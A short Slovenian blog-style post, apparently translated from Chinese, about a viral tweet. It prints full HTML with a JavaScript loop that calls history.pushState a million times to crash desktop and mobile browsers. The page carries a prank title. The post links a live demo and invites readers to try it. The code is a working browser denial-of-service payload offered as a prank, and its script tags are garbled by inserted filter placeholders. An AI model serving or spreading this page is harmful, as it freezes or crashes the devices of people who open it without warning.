Vzrok incidenta je naslednji: tuji prijatelj iz Cyber Security je na Twitterju objavil takšen tvit:
Ta tip trdi, da če uporabiš zgornjo 12-vrstično kodo Javascrip{filter}t, lahko povzročiš sesutje Firefoxa, Chromea, brskalnika Safari in tudi ponovni zagon iPhona ter serušenje Android telefona!
Celotna HTML koda je naslednja:
- <html>
- <head>
- <meta charset="utf-8">
- <title>谁点谁怀孕</title>
- </head>
- <body>
- 恭喜你,你已经怀孕了!
- <scrip{过滤}t>
- var total="";
- for (var i=0;i<1000000;i++)
- {
- total= total+i.toString();
- history.pushState(0,0,total);
- }
- </scrip{过滤}t>
- </body>
- </html>
Kopiraj kodo
Če ste uporabnik PC-ja, bo po kliku na povezavo pomnilnik procesorja računalnika zelo verjetno narasel vse do trenutka, ko brskalnik zruši in zmrzne...
Če ste mobilni uporabnik (Android, iPhone), se vam bo brskalnik sesul po kliku na povezavo! Klik na povezavo na Weibo in WeChat prav tako povzroči sesutje.
Zakaj se to dogaja? V zvezi s tem sem na Zhihu našel odgovor boga z imenom "Xiaomi":
history.pushstate() je API, ki ga je uvedel HTML5, pushState doda določen URL v zgodovino brskanja in shrani trenutno zgodovinsko točko. Ko i<100000, se skupna vrednost zabeleži v zgodovini brskalnika ciklično, in če se ponavlja prevečkrat, brskalnik tega ne prenese in se naravno sesuje.
No, kakorkoli, ne znam si niti izmisliti "hello world", tako da sploh ne razumem... Skratka, ravno prav je, da razstreliš nebo!
Če želite poskusiti, kliknite tukaj: http://www.itsvse.com/demo.html
|